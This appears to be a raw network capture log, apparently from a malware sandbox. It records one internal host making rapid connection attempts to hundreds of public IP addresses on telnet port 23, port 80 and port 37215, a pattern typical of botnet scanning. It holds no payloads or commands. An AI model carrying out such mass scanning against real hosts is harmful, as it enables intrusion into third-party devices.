Dec 3, 2024 22:11:48.818500042 CET	8163	23	192.168.2.23	182.153.204.136
Dec 3, 2024 22:11:48.818500996 CET	8163	23	192.168.2.23	195.171.244.80
Dec 3, 2024 22:11:48.818515062 CET	8163	23	192.168.2.23	66.138.252.56
Dec 3, 2024 22:11:48.818526030 CET	8163	23	192.168.2.23	167.195.10.142
Dec 3, 2024 22:11:48.818528891 CET	8163	23	192.168.2.23	12.133.223.5
Dec 3, 2024 22:11:48.818531036 CET	8163	23	192.168.2.23	198.160.56.48
Dec 3, 2024 22:11:48.818538904 CET	8163	23	192.168.2.23	193.101.101.93
Dec 3, 2024 22:11:48.818552017 CET	8163	23	192.168.2.23	161.1.125.145
Dec 3, 2024 22:11:48.818552017 CET	8163	23	192.168.2.23	76.75.171.155
Dec 3, 2024 22:11:48.818562984 CET	8163	23	192.168.2.23	97.168.2.57
Dec 3, 2024 22:11:48.818569899 CET	8163	23	192.168.2.23	83.98.67.205
Dec 3, 2024 22:11:48.818572044 CET	8163	23	192.168.2.23	51.123.78.231
Dec 3, 2024 22:11:48.818577051 CET	8163	23	192.168.2.23	34.106.128.5
Dec 3, 2024 22:11:48.818591118 CET	8163	23	192.168.2.23	185.84.11.239
Dec 3, 2024 22:11:48.818594933 CET	8163	23	192.168.2.23	47.185.233.4
Dec 3, 2024 22:11:48.818594933 CET	8163	23	192.168.2.23	181.188.110.219
Dec 3, 2024 22:11:48.818595886 CET	8163	23	192.168.2.23	160.119.177.96
Dec 3, 2024 22:11:48.818605900 CET	8163	23	192.168.2.23	153.162.39.221
Dec 3, 2024 22:11:48.818618059 CET	8163	23	192.168.2.23	64.57.175.177
Dec 3, 2024 22:11:48.818618059 CET	8163	23	192.168.2.23	75.53.112.97
Dec 3, 2024 22:11:48.818633080 CET	8163	23	192.168.2.23	90.231.53.227
Dec 3, 2024 22:11:48.818633080 CET	8163	23	192.168.2.23	183.24.210.153
Dec 3, 2024 22:11:48.818639040 CET	8163	23	192.168.2.23	106.67.196.7
Dec 3, 2024 22:11:48.818645000 CET	8163	23	192.168.2.23	161.21.120.91
Dec 3, 2024 22:11:48.818655014 CET	8163	23	192.168.2.23	62.127.37.167
Dec 3, 2024 22:11:48.818655968 CET	8163	23	192.168.2.23	209.26.121.71
Dec 3, 2024 22:11:48.818662882 CET	8163	23	192.168.2.23	178.57.86.163
Dec 3, 2024 22:11:48.818675995 CET	8163	23	192.168.2.23	203.222.128.64
Dec 3, 2024 22:11:48.818679094 CET	8163	23	192.168.2.23	200.225.108.78
Dec 3, 2024 22:11:48.818686962 CET	8163	23	192.168.2.23	45.180.5.206
Dec 3, 2024 22:11:48.818686962 CET	8163	23	192.168.2.23	59.20.21.149
Dec 3, 2024 22:11:48.818692923 CET	8163	23	192.168.2.23	210.201.252.30
Dec 3, 2024 22:11:48.818706989 CET	8163	23	192.168.2.23	13.59.199.178
Dec 3, 2024 22:11:48.818715096 CET	8163	23	192.168.2.23	4.59.161.117
Dec 3, 2024 22:11:48.818716049 CET	8163	23	192.168.2.23	138.104.158.6
Dec 3, 2024 22:11:48.818721056 CET	8163	23	192.168.2.23	18.89.130.28
Dec 3, 2024 22:11:48.818731070 CET	8163	23	192.168.2.23	80.210.132.41
Dec 3, 2024 22:11:48.818742990 CET	8163	23	192.168.2.23	150.190.0.209
Dec 3, 2024 22:11:48.818742990 CET	8163	23	192.168.2.23	40.229.23.134
Dec 3, 2024 22:11:48.818742990 CET	8163	23	192.168.2.23	202.127.184.172
Dec 3, 2024 22:11:48.818746090 CET	8163	23	192.168.2.23	129.181.102.3
Dec 3, 2024 22:11:48.818751097 CET	8163	23	192.168.2.23	50.17.28.191
Dec 3, 2024 22:11:48.818751097 CET	8163	23	192.168.2.23	130.171.146.186
Dec 3, 2024 22:11:48.818756104 CET	8163	23	192.168.2.23	42.157.205.105
Dec 3, 2024 22:11:48.818756104 CET	8163	23	192.168.2.23	113.109.159.206
Dec 3, 2024 22:11:48.818769932 CET	8163	23	192.168.2.23	137.233.192.116
Dec 3, 2024 22:11:48.818772078 CET	8163	23	192.168.2.23	1.233.35.186
Dec 3, 2024 22:11:48.818782091 CET	8163	23	192.168.2.23	97.186.144.22
Dec 3, 2024 22:11:48.818790913 CET	8163	23	192.168.2.23	1.125.191.126
Dec 3, 2024 22:11:48.818794966 CET	8163	23	192.168.2.23	73.20.182.209
Dec 3, 2024 22:11:48.818809032 CET	8163	23	192.168.2.23	24.198.146.73
Dec 3, 2024 22:11:48.818813086 CET	8163	23	192.168.2.23	159.64.1.185
Dec 3, 2024 22:11:48.818815947 CET	8163	23	192.168.2.23	72.122.123.93
Dec 3, 2024 22:11:48.818815947 CET	8163	23	192.168.2.23	108.145.26.144
Dec 3, 2024 22:11:48.818815947 CET	8163	23	192.168.2.23	43.17.60.162
Dec 3, 2024 22:11:48.818820953 CET	8163	23	192.168.2.23	209.96.173.150
Dec 3, 2024 22:11:48.818825960 CET	8163	23	192.168.2.23	104.120.53.201
Dec 3, 2024 22:11:48.818825960 CET	8163	23	192.168.2.23	51.58.170.132
Dec 3, 2024 22:11:48.818828106 CET	8163	23	192.168.2.23	45.154.204.85
Dec 3, 2024 22:11:48.818845987 CET	8163	23	192.168.2.23	65.56.11.208
Dec 3, 2024 22:11:48.818856001 CET	8163	23	192.168.2.23	201.175.110.210
Dec 3, 2024 22:11:48.818856001 CET	8163	23	192.168.2.23	49.180.162.149
Dec 3, 2024 22:11:48.818860054 CET	8163	23	192.168.2.23	211.179.174.156
Dec 3, 2024 22:11:48.818856001 CET	8163	23	192.168.2.23	164.170.222.119
Dec 3, 2024 22:11:48.818856001 CET	8163	23	192.168.2.23	86.70.213.199
Dec 3, 2024 22:11:48.818856001 CET	8163	23	192.168.2.23	98.224.88.33
Dec 3, 2024 22:11:48.818876028 CET	8163	23	192.168.2.23	123.251.115.172
Dec 3, 2024 22:11:48.818877935 CET	8163	23	192.168.2.23	106.36.17.152
Dec 3, 2024 22:11:48.818876028 CET	8163	23	192.168.2.23	94.160.170.32
Dec 3, 2024 22:11:48.818876028 CET	8163	23	192.168.2.23	72.112.24.219
Dec 3, 2024 22:11:48.818876028 CET	8163	23	192.168.2.23	199.215.46.60
Dec 3, 2024 22:11:48.818876028 CET	8163	23	192.168.2.23	76.79.88.1
Dec 3, 2024 22:11:48.818895102 CET	8163	23	192.168.2.23	180.142.170.199
Dec 3, 2024 22:11:48.818897963 CET	8163	23	192.168.2.23	189.175.158.227
Dec 3, 2024 22:11:48.818902016 CET	8163	23	192.168.2.23	23.95.222.121
Dec 3, 2024 22:11:48.818906069 CET	8163	23	192.168.2.23	155.14.83.113
Dec 3, 2024 22:11:48.818912029 CET	8163	23	192.168.2.23	58.43.70.24
Dec 3, 2024 22:11:48.818912983 CET	8163	23	192.168.2.23	189.212.251.253
Dec 3, 2024 22:11:48.818921089 CET	8163	23	192.168.2.23	44.78.47.251
Dec 3, 2024 22:11:48.818928957 CET	8163	23	192.168.2.23	142.85.119.230
Dec 3, 2024 22:11:48.818963051 CET	8163	23	192.168.2.23	165.122.108.199
Dec 3, 2024 22:11:48.818969011 CET	8163	23	192.168.2.23	64.241.69.183
Dec 3, 2024 22:11:48.818974972 CET	8163	23	192.168.2.23	70.232.13.168
Dec 3, 2024 22:11:48.818981886 CET	8163	23	192.168.2.23	13.113.244.141
Dec 3, 2024 22:11:48.818984985 CET	8163	23	192.168.2.23	133.50.110.210
Dec 3, 2024 22:11:48.818984985 CET	8163	23	192.168.2.23	119.83.146.203
Dec 3, 2024 22:11:48.818984985 CET	8163	23	192.168.2.23	113.246.86.211
Dec 3, 2024 22:11:48.818984985 CET	8163	23	192.168.2.23	40.151.143.1
Dec 3, 2024 22:11:48.818985939 CET	8163	23	192.168.2.23	4.179.62.111
Dec 3, 2024 22:11:48.818984985 CET	8163	23	192.168.2.23	156.70.74.7
Dec 3, 2024 22:11:48.818985939 CET	8163	23	192.168.2.23	72.198.17.177
Dec 3, 2024 22:11:48.819005966 CET	8163	23	192.168.2.23	57.177.199.6
Dec 3, 2024 22:11:48.819006920 CET	8163	23	192.168.2.23	43.99.22.97
Dec 3, 2024 22:11:48.819006920 CET	8163	23	192.168.2.23	95.29.138.183
Dec 3, 2024 22:11:48.819006920 CET	8163	23	192.168.2.23	197.255.8.178
Dec 3, 2024 22:11:48.819009066 CET	8163	23	192.168.2.23	43.160.206.236
Dec 3, 2024 22:11:48.819006920 CET	8163	23	192.168.2.23	157.70.10.172
Dec 3, 2024 22:11:48.819009066 CET	8163	23	192.168.2.23	187.10.68.82
Dec 3, 2024 22:11:48.819009066 CET	8163	23	192.168.2.23	116.34.172.122
Dec 3, 2024 22:11:48.819010019 CET	8163	23	192.168.2.23	209.78.151.128
Dec 3, 2024 22:11:48.819010019 CET	8163	23	192.168.2.23	116.53.175.196
Dec 3, 2024 22:11:48.819020987 CET	8163	23	192.168.2.23	76.221.203.155
Dec 3, 2024 22:11:48.819027901 CET	8163	23	192.168.2.23	5.70.175.36
Dec 3, 2024 22:11:48.819029093 CET	8163	23	192.168.2.23	205.18.8.235
Dec 3, 2024 22:11:48.819029093 CET	8163	23	192.168.2.23	142.13.1.254
Dec 3, 2024 22:11:48.819029093 CET	8163	23	192.168.2.23	34.215.89.133
Dec 3, 2024 22:11:48.819031000 CET	8163	23	192.168.2.23	177.15.40.18
Dec 3, 2024 22:11:48.819031000 CET	8163	23	192.168.2.23	66.183.185.239
Dec 3, 2024 22:11:48.819031000 CET	8163	23	192.168.2.23	71.195.18.149
Dec 3, 2024 22:11:48.819031000 CET	8163	23	192.168.2.23	9.126.187.246
Dec 3, 2024 22:11:48.819031954 CET	8163	23	192.168.2.23	111.116.160.253
Dec 3, 2024 22:11:48.819031954 CET	8163	23	192.168.2.23	18.17.93.170
Dec 3, 2024 22:11:48.819031954 CET	8163	23	192.168.2.23	192.75.55.103
Dec 3, 2024 22:11:48.819031954 CET	8163	23	192.168.2.23	69.187.46.129
Dec 3, 2024 22:11:48.819031954 CET	8163	23	192.168.2.23	115.132.205.47
Dec 3, 2024 22:11:48.819051027 CET	8163	23	192.168.2.23	176.110.203.172
Dec 3, 2024 22:11:48.819051027 CET	8163	23	192.168.2.23	185.76.144.75
Dec 3, 2024 22:11:48.819051027 CET	8163	23	192.168.2.23	93.85.48.142
Dec 3, 2024 22:11:48.819051981 CET	8163	23	192.168.2.23	92.248.218.121
Dec 3, 2024 22:11:48.819051027 CET	8163	23	192.168.2.23	153.251.19.230
Dec 3, 2024 22:11:48.819051027 CET	8163	23	192.168.2.23	2.71.30.112
Dec 3, 2024 22:11:48.819056034 CET	8163	23	192.168.2.23	71.18.98.107
Dec 3, 2024 22:11:48.819056034 CET	8163	23	192.168.2.23	148.94.96.130
Dec 3, 2024 22:11:48.819056034 CET	8163	23	192.168.2.23	170.178.101.64
Dec 3, 2024 22:11:48.819051981 CET	8163	23	192.168.2.23	182.47.169.86
Dec 3, 2024 22:11:48.819061995 CET	8163	23	192.168.2.23	106.17.92.17
Dec 3, 2024 22:11:48.819061995 CET	8163	23	192.168.2.23	126.84.33.190
Dec 3, 2024 22:11:48.819065094 CET	8163	23	192.168.2.23	113.163.11.233
Dec 3, 2024 22:11:48.819065094 CET	8163	23	192.168.2.23	118.105.143.86
Dec 3, 2024 22:11:48.819070101 CET	8163	23	192.168.2.23	129.132.100.44
Dec 3, 2024 22:11:48.819071054 CET	8163	23	192.168.2.23	184.138.226.130
Dec 3, 2024 22:11:48.819071054 CET	8163	23	192.168.2.23	46.135.35.101
Dec 3, 2024 22:11:48.819071054 CET	8163	23	192.168.2.23	148.200.3.118
Dec 3, 2024 22:11:48.819071054 CET	8163	23	192.168.2.23	149.156.58.12
Dec 3, 2024 22:11:48.819071054 CET	8163	23	192.168.2.23	20.85.56.185
Dec 3, 2024 22:11:48.819075108 CET	8163	23	192.168.2.23	117.191.128.141
Dec 3, 2024 22:11:48.819075108 CET	8163	23	192.168.2.23	104.220.243.43
Dec 3, 2024 22:11:48.819075108 CET	8163	23	192.168.2.23	27.45.219.47
Dec 3, 2024 22:11:48.819080114 CET	8163	23	192.168.2.23	169.238.187.17
Dec 3, 2024 22:11:48.819080114 CET	8163	23	192.168.2.23	87.100.249.79
Dec 3, 2024 22:11:48.819086075 CET	8163	23	192.168.2.23	129.186.245.159
Dec 3, 2024 22:11:48.819087029 CET	8163	23	192.168.2.23	130.155.112.240
Dec 3, 2024 22:11:48.819086075 CET	8163	23	192.168.2.23	186.103.103.35
Dec 3, 2024 22:11:48.819086075 CET	8163	23	192.168.2.23	154.191.133.249
Dec 3, 2024 22:11:48.819086075 CET	8163	23	192.168.2.23	183.199.125.204
Dec 3, 2024 22:11:48.819086075 CET	8163	23	192.168.2.23	69.184.158.47
Dec 3, 2024 22:11:48.819086075 CET	8163	23	192.168.2.23	19.76.152.211
Dec 3, 2024 22:11:48.819092989 CET	8163	23	192.168.2.23	203.171.112.49
Dec 3, 2024 22:11:48.819092989 CET	8163	23	192.168.2.23	194.191.200.0
Dec 3, 2024 22:11:48.819092989 CET	8163	23	192.168.2.23	129.98.172.240
Dec 3, 2024 22:11:48.819101095 CET	8163	23	192.168.2.23	65.111.176.73
Dec 3, 2024 22:11:48.819103003 CET	8163	23	192.168.2.23	39.123.18.22
Dec 3, 2024 22:11:48.819107056 CET	8163	23	192.168.2.23	63.242.242.133
Dec 3, 2024 22:11:48.819107056 CET	8163	23	192.168.2.23	98.47.73.15
Dec 3, 2024 22:11:48.819107056 CET	8163	23	192.168.2.23	213.108.96.119
Dec 3, 2024 22:11:48.819108009 CET	8163	23	192.168.2.23	110.195.246.223
Dec 3, 2024 22:11:48.819108009 CET	8163	23	192.168.2.23	198.129.92.209
Dec 3, 2024 22:11:48.819129944 CET	8163	23	192.168.2.23	145.198.9.190
Dec 3, 2024 22:11:48.819132090 CET	8163	23	192.168.2.23	219.75.53.48
Dec 3, 2024 22:11:48.819132090 CET	8163	23	192.168.2.23	94.61.218.51
Dec 3, 2024 22:11:48.819129944 CET	8163	23	192.168.2.23	76.78.20.192
Dec 3, 2024 22:11:48.819139957 CET	8163	23	192.168.2.23	216.182.28.91
Dec 3, 2024 22:11:48.819140911 CET	8163	23	192.168.2.23	12.55.185.205
Dec 3, 2024 22:11:48.819139957 CET	8163	23	192.168.2.23	13.69.96.253
Dec 3, 2024 22:11:48.819139957 CET	8163	23	192.168.2.23	95.9.117.46
Dec 3, 2024 22:11:48.819147110 CET	8163	23	192.168.2.23	183.163.2.156
Dec 3, 2024 22:11:48.819152117 CET	8163	23	192.168.2.23	44.83.230.226
Dec 3, 2024 22:11:48.819152117 CET	8163	23	192.168.2.23	218.175.157.156
Dec 3, 2024 22:11:48.819154024 CET	8163	23	192.168.2.23	79.217.109.149
Dec 3, 2024 22:11:48.819169998 CET	8163	23	192.168.2.23	46.83.189.54
Dec 3, 2024 22:11:48.819175005 CET	8163	23	192.168.2.23	38.242.223.105
Dec 3, 2024 22:11:48.819175005 CET	8163	23	192.168.2.23	19.195.98.114
Dec 3, 2024 22:11:48.819210052 CET	8163	23	192.168.2.23	42.93.232.151
Dec 3, 2024 22:11:48.819210052 CET	8163	23	192.168.2.23	27.222.154.139
Dec 3, 2024 22:11:48.819211960 CET	8163	23	192.168.2.23	162.236.118.217
Dec 3, 2024 22:11:48.819220066 CET	8163	23	192.168.2.23	189.221.212.57
Dec 3, 2024 22:11:48.819226027 CET	8163	23	192.168.2.23	159.56.116.223
Dec 3, 2024 22:11:48.819240093 CET	8163	23	192.168.2.23	71.214.165.94
Dec 3, 2024 22:11:48.847229004 CET	36434	80	192.168.2.23	112.17.46.206
Dec 3, 2024 22:11:48.847229004 CET	53186	80	192.168.2.23	166.46.184.48
Dec 3, 2024 22:11:48.847232103 CET	43644	80	192.168.2.23	60.191.15.52
Dec 3, 2024 22:11:48.847237110 CET	41758	80	192.168.2.23	211.248.1.241
Dec 3, 2024 22:11:48.847253084 CET	34322	80	192.168.2.23	192.122.106.149
Dec 3, 2024 22:11:48.847253084 CET	37286	80	192.168.2.23	62.248.199.225
Dec 3, 2024 22:11:48.847254992 CET	49912	80	192.168.2.23	178.168.125.118
Dec 3, 2024 22:11:48.847259045 CET	46792	80	192.168.2.23	39.26.141.128
Dec 3, 2024 22:11:48.847259045 CET	43952	80	192.168.2.23	120.47.138.87
Dec 3, 2024 22:11:48.847278118 CET	39936	80	192.168.2.23	220.40.166.42
Dec 3, 2024 22:11:48.847279072 CET	51360	80	192.168.2.23	25.56.170.39
Dec 3, 2024 22:11:48.847280979 CET	35800	80	192.168.2.23	100.44.128.127
Dec 3, 2024 22:11:48.847280979 CET	37886	80	192.168.2.23	42.54.179.203
Dec 3, 2024 22:11:48.847280979 CET	60458	80	192.168.2.23	177.109.45.183
Dec 3, 2024 22:11:48.847285032 CET	56182	80	192.168.2.23	114.255.133.213
Dec 3, 2024 22:11:48.847285032 CET	41848	80	192.168.2.23	91.168.168.177
Dec 3, 2024 22:11:48.847285986 CET	51100	80	192.168.2.23	157.10.232.130
Dec 3, 2024 22:11:48.847286940 CET	38806	80	192.168.2.23	52.200.155.160
Dec 3, 2024 22:11:48.847294092 CET	45662	80	192.168.2.23	175.207.62.8
Dec 3, 2024 22:11:48.847331047 CET	33988	80	192.168.2.23	121.123.242.60
Dec 3, 2024 22:11:48.847331047 CET	33760	80	192.168.2.23	89.237.234.81
Dec 3, 2024 22:11:48.847332001 CET	55548	80	192.168.2.23	51.132.116.166
Dec 3, 2024 22:11:48.847332001 CET	59588	23	192.168.2.23	117.29.78.85
Dec 3, 2024 22:11:48.847335100 CET	43764	80	192.168.2.23	185.248.148.162
Dec 3, 2024 22:11:48.847333908 CET	50038	80	192.168.2.23	189.113.25.114
Dec 3, 2024 22:11:48.847335100 CET	39260	80	192.168.2.23	222.183.121.253
Dec 3, 2024 22:11:48.847332001 CET	35022	23	192.168.2.23	31.251.70.82
Dec 3, 2024 22:11:48.847333908 CET	34302	80	192.168.2.23	204.35.166.113
Dec 3, 2024 22:11:48.847335100 CET	47182	80	192.168.2.23	165.71.235.9
Dec 3, 2024 22:11:48.847333908 CET	43310	80	192.168.2.23	168.141.43.142
Dec 3, 2024 22:11:48.847335100 CET	34016	80	192.168.2.23	121.127.51.127
Dec 3, 2024 22:11:48.847338915 CET	34300	80	192.168.2.23	67.109.205.61
Dec 3, 2024 22:11:48.847340107 CET	38692	80	192.168.2.23	90.128.45.194
Dec 3, 2024 22:11:48.847335100 CET	41008	23	192.168.2.23	173.154.57.75
Dec 3, 2024 22:11:48.847342014 CET	55284	23	192.168.2.23	113.90.137.111
Dec 3, 2024 22:11:48.847335100 CET	54204	23	192.168.2.23	112.101.169.101
Dec 3, 2024 22:11:48.847343922 CET	35780	23	192.168.2.23	54.149.74.56
Dec 3, 2024 22:11:48.847340107 CET	55348	23	192.168.2.23	23.191.210.80
Dec 3, 2024 22:11:48.847333908 CET	41412	23	192.168.2.23	112.209.56.209
Dec 3, 2024 22:11:48.847342014 CET	58830	80	192.168.2.23	133.23.65.66
Dec 3, 2024 22:11:48.847357035 CET	59902	23	192.168.2.23	180.98.97.51
Dec 3, 2024 22:11:48.847357035 CET	48486	23	192.168.2.23	197.34.60.180
Dec 3, 2024 22:11:48.847357035 CET	57566	23	192.168.2.23	4.101.233.117
Dec 3, 2024 22:11:48.847357988 CET	46582	23	192.168.2.23	60.99.37.17
Dec 3, 2024 22:11:48.847358942 CET	40894	23	192.168.2.23	95.223.15.176
Dec 3, 2024 22:11:48.847357035 CET	60616	23	192.168.2.23	140.25.42.170
Dec 3, 2024 22:11:48.847357035 CET	42792	23	192.168.2.23	31.217.43.158
Dec 3, 2024 22:11:48.847357035 CET	37738	23	192.168.2.23	124.60.106.111
Dec 3, 2024 22:11:48.847357035 CET	50812	23	192.168.2.23	74.248.103.174
Dec 3, 2024 22:11:48.847364902 CET	53274	23	192.168.2.23	149.193.86.187
Dec 3, 2024 22:11:48.847364902 CET	36950	23	192.168.2.23	12.64.189.89
Dec 3, 2024 22:11:48.847368002 CET	50660	23	192.168.2.23	199.72.225.205
Dec 3, 2024 22:11:48.847368002 CET	37490	23	192.168.2.23	114.197.223.164
Dec 3, 2024 22:11:48.847373009 CET	41580	23	192.168.2.23	101.83.204.153
Dec 3, 2024 22:11:48.847373009 CET	33342	23	192.168.2.23	93.28.129.1
Dec 3, 2024 22:11:48.847373009 CET	51754	23	192.168.2.23	199.178.64.112
Dec 3, 2024 22:11:48.847376108 CET	35572	23	192.168.2.23	132.81.152.183
Dec 3, 2024 22:11:48.847376108 CET	51982	23	192.168.2.23	160.120.105.195
Dec 3, 2024 22:11:48.847383976 CET	38326	23	192.168.2.23	155.110.114.69
Dec 3, 2024 22:11:48.847388983 CET	56508	23	192.168.2.23	85.202.90.234
Dec 3, 2024 22:11:48.854729891 CET	5603	37215	192.168.2.23	197.25.239.17
Dec 3, 2024 22:11:48.854732990 CET	5603	37215	192.168.2.23	197.100.97.105
Dec 3, 2024 22:11:48.854734898 CET	5603	37215	192.168.2.23	197.50.12.242
Dec 3, 2024 22:11:48.854758024 CET	5603	37215	192.168.2.23	41.158.8.180
Dec 3, 2024 22:11:48.854758024 CET	5603	37215	192.168.2.23	41.228.5.157
Dec 3, 2024 22:11:48.854762077 CET	5603	37215	192.168.2.23	41.170.99.164
Dec 3, 2024 22:11:48.854764938 CET	5603	37215	192.168.2.23	197.219.215.164
Dec 3, 2024 22:11:48.854772091 CET	5603	37215	192.168.2.23	156.25.112.53
Dec 3, 2024 22:11:48.854777098 CET	5603	37215	192.168.2.23	156.31.194.153
Dec 3, 2024 22:11:48.854789019 CET	5603	37215	192.168.2.23	197.148.36.9
Dec 3, 2024 22:11:48.854789019 CET	5603	37215	192.168.2.23	156.136.32.137
Dec 3, 2024 22:11:48.854805946 CET	5603	37215	192.168.2.23	41.12.254.33
Dec 3, 2024 22:11:48.854805946 CET	5603	37215	192.168.2.23	156.126.223.254
Dec 3, 2024 22:11:48.854806900 CET	5603	37215	192.168.2.23	156.143.91.188
Dec 3, 2024 22:11:48.854821920 CET	5603	37215	192.168.2.23	156.204.163.77
Dec 3, 2024 22:11:48.854821920 CET	5603	37215	192.168.2.23	156.162.252.202
Dec 3, 2024 22:11:48.854830027 CET	5603	37215	192.168.2.23	197.104.2.158
Dec 3, 2024 22:11:48.854844093 CET	5603	37215	192.168.2.23	41.156.242.233
Dec 3, 2024 22:11:48.854846001 CET	5603	37215	192.168.2.23	41.93.194.53
Dec 3, 2024 22:11:48.854846001 CET	5603	37215	192.168.2.23	197.92.199.14
Dec 3, 2024 22:11:48.854846001 CET	5603	37215	192.168.2.23	41.19.232.252
Dec 3, 2024 22:11:48.854861021 CET	5603	37215	192.168.2.23	197.141.139.220
Dec 3, 2024 22:11:48.854870081 CET	5603	37215	192.168.2.23	156.31.127.12
Dec 3, 2024 22:11:48.854878902 CET	5603	37215	192.168.2.23	197.244.200.176
Dec 3, 2024 22:11:48.854883909 CET	5603	37215	192.168.2.23	156.236.115.75
Dec 3, 2024 22:11:48.854883909 CET	5603	37215	192.168.2.23	156.94.79.224
Dec 3, 2024 22:11:48.854892969 CET	5603	37215	192.168.2.23	197.37.105.49
Dec 3, 2024 22:11:48.854897976 CET	5603	37215	192.168.2.23	197.220.244.149
Dec 3, 2024 22:11:48.854907036 CET	5603	37215	192.168.2.23	156.169.152.30
Dec 3, 2024 22:11:48.854912996 CET	5603	37215	192.168.2.23	41.125.111.250
Dec 3, 2024 22:11:48.854923964 CET	5603	37215	192.168.2.23	41.252.34.91
Dec 3, 2024 22:11:48.854926109 CET	5603	37215	192.168.2.23	197.72.106.2
Dec 3, 2024 22:11:48.854926109 CET	5603	37215	192.168.2.23	197.44.138.142
Dec 3, 2024 22:11:48.854945898 CET	5603	37215	192.168.2.23	156.238.1.176
Dec 3, 2024 22:11:48.854945898 CET	5603	37215	192.168.2.23	41.232.222.68
Dec 3, 2024 22:11:48.854947090 CET	5603	37215	192.168.2.23	156.29.68.41
Dec 3, 2024 22:11:48.854947090 CET	5603	37215	192.168.2.23	197.27.37.170
Dec 3, 2024 22:11:48.854954004 CET	5603	37215	192.168.2.23	41.53.25.180
Dec 3, 2024 22:11:48.854965925 CET	5603	37215	192.168.2.23	156.170.173.140
Dec 3, 2024 22:11:48.854968071 CET	5603	37215	192.168.2.23	41.253.118.134
Dec 3, 2024 22:11:48.854974985 CET	5603	37215	192.168.2.23	197.67.233.210
Dec 3, 2024 22:11:48.854984999 CET	5603	37215	192.168.2.23	156.225.38.112
Dec 3, 2024 22:11:48.854990005 CET	5603	37215	192.168.2.23	197.142.194.155
Dec 3, 2024 22:11:48.854995966 CET	5603	37215	192.168.2.23	197.161.11.70
Dec 3, 2024 22:11:48.855010033 CET	5603	37215	192.168.2.23	197.12.180.138
Dec 3, 2024 22:11:48.855010033 CET	5603	37215	192.168.2.23	197.145.83.35
Dec 3, 2024 22:11:48.855032921 CET	5603	37215	192.168.2.23	156.79.79.121
Dec 3, 2024 22:11:48.855032921 CET	5603	37215	192.168.2.23	156.104.167.207
Dec 3, 2024 22:11:48.855034113 CET	5603	37215	192.168.2.23	197.144.160.113
Dec 3, 2024 22:11:48.855048895 CET	5603	37215	192.168.2.23	197.164.41.97
Dec 3, 2024 22:11:48.855050087 CET	5603	37215	192.168.2.23	197.50.105.53
Dec 3, 2024 22:11:48.855048895 CET	5603	37215	192.168.2.23	41.171.179.181
Dec 3, 2024 22:11:48.855053902 CET	5603	37215	192.168.2.23	41.250.32.226
Dec 3, 2024 22:11:48.855062008 CET	5603	37215	192.168.2.23	41.238.225.154
Dec 3, 2024 22:11:48.855072021 CET	5603	37215	192.168.2.23	156.45.100.216
Dec 3, 2024 22:11:48.855084896 CET	5603	37215	192.168.2.23	41.54.109.75
Dec 3, 2024 22:11:48.855087042 CET	5603	37215	192.168.2.23	197.121.136.240
Dec 3, 2024 22:11:48.855104923 CET	5603	37215	192.168.2.23	156.73.254.218
Dec 3, 2024 22:11:48.855107069 CET	5603	37215	192.168.2.23	41.148.27.142
Dec 3, 2024 22:11:48.855108976 CET	5603	37215	192.168.2.23	156.245.176.111
Dec 3, 2024 22:11:48.855108976 CET	5603	37215	192.168.2.23	41.238.105.21
Dec 3, 2024 22:11:48.855112076 CET	5603	37215	192.168.2.23	197.102.210.18
Dec 3, 2024 22:11:48.855139017 CET	5603	37215	192.168.2.23	41.199.188.85
Dec 3, 2024 22:11:48.855139017 CET	5603	37215	192.168.2.23	197.40.247.124
Dec 3, 2024 22:11:48.855144024 CET	5603	37215	192.168.2.23	197.13.121.233
Dec 3, 2024 22:11:48.855153084 CET	5603	37215	192.168.2.23	156.78.183.112
Dec 3, 2024 22:11:48.855154037 CET	5603	37215	192.168.2.23	156.157.90.20
Dec 3, 2024 22:11:48.855154991 CET	5603	37215	192.168.2.23	41.161.112.40
Dec 3, 2024 22:11:48.855154037 CET	5603	37215	192.168.2.23	197.71.93.175
Dec 3, 2024 22:11:48.855159998 CET	5603	37215	192.168.2.23	197.174.66.205
Dec 3, 2024 22:11:48.855159998 CET	5603	37215	192.168.2.23	41.243.50.246
Dec 3, 2024 22:11:48.855159998 CET	5603	37215	192.168.2.23	156.200.217.76
Dec 3, 2024 22:11:48.855159998 CET	5603	37215	192.168.2.23	156.78.196.201
Dec 3, 2024 22:11:48.855159998 CET	5603	37215	192.168.2.23	197.169.98.82
Dec 3, 2024 22:11:48.855160952 CET	5603	37215	192.168.2.23	197.38.233.163
Dec 3, 2024 22:11:48.855160952 CET	5603	37215	192.168.2.23	156.248.218.89
Dec 3, 2024 22:11:48.855165005 CET	5603	37215	192.168.2.23	197.24.190.238
Dec 3, 2024 22:11:48.855168104 CET	5603	37215	192.168.2.23	156.207.52.235
Dec 3, 2024 22:11:48.855168104 CET	5603	37215	192.168.2.23	41.72.64.30
Dec 3, 2024 22:11:48.855168104 CET	5603	37215	192.168.2.23	197.183.155.20
Dec 3, 2024 22:11:48.855168104 CET	5603	37215	192.168.2.23	41.215.53.24
Dec 3, 2024 22:11:48.855170965 CET	5603	37215	192.168.2.23	197.77.74.105
Dec 3, 2024 22:11:48.855195999 CET	5603	37215	192.168.2.23	41.127.127.255
Dec 3, 2024 22:11:48.855196953 CET	5603	37215	192.168.2.23	156.10.207.25
Dec 3, 2024 22:11:48.855199099 CET	5603	37215	192.168.2.23	197.97.82.30
Dec 3, 2024 22:11:48.855200052 CET	5603	37215	192.168.2.23	41.231.80.102
Dec 3, 2024 22:11:48.855211020 CET	5603	37215	192.168.2.23	41.34.94.206
Dec 3, 2024 22:11:48.855211973 CET	5603	37215	192.168.2.23	156.234.249.131
Dec 3, 2024 22:11:48.855228901 CET	5603	37215	192.168.2.23	41.31.152.22
Dec 3, 2024 22:11:48.855231047 CET	5603	37215	192.168.2.23	156.14.186.232
Dec 3, 2024 22:11:48.855240107 CET	5603	37215	192.168.2.23	41.112.240.221
Dec 3, 2024 22:11:48.855246067 CET	5603	37215	192.168.2.23	156.255.120.227
Dec 3, 2024 22:11:48.855247974 CET	5603	37215	192.168.2.23	197.3.79.209
Dec 3, 2024 22:11:48.855251074 CET	5603	37215	192.168.2.23	41.135.0.159
Dec 3, 2024 22:11:48.855251074 CET	5603	37215	192.168.2.23	197.243.98.182
Dec 3, 2024 22:11:48.855252981 CET	5603	37215	192.168.2.23	156.14.157.75
Dec 3, 2024 22:11:48.855256081 CET	5603	37215	192.168.2.23	197.174.27.159
Dec 3, 2024 22:11:48.855268002 CET	5603	37215	192.168.2.23	156.66.120.165
Dec 3, 2024 22:11:48.855276108 CET	5603	37215	192.168.2.23	41.110.10.239
Dec 3, 2024 22:11:48.855278969 CET	5603	37215	192.168.2.23	41.235.39.178
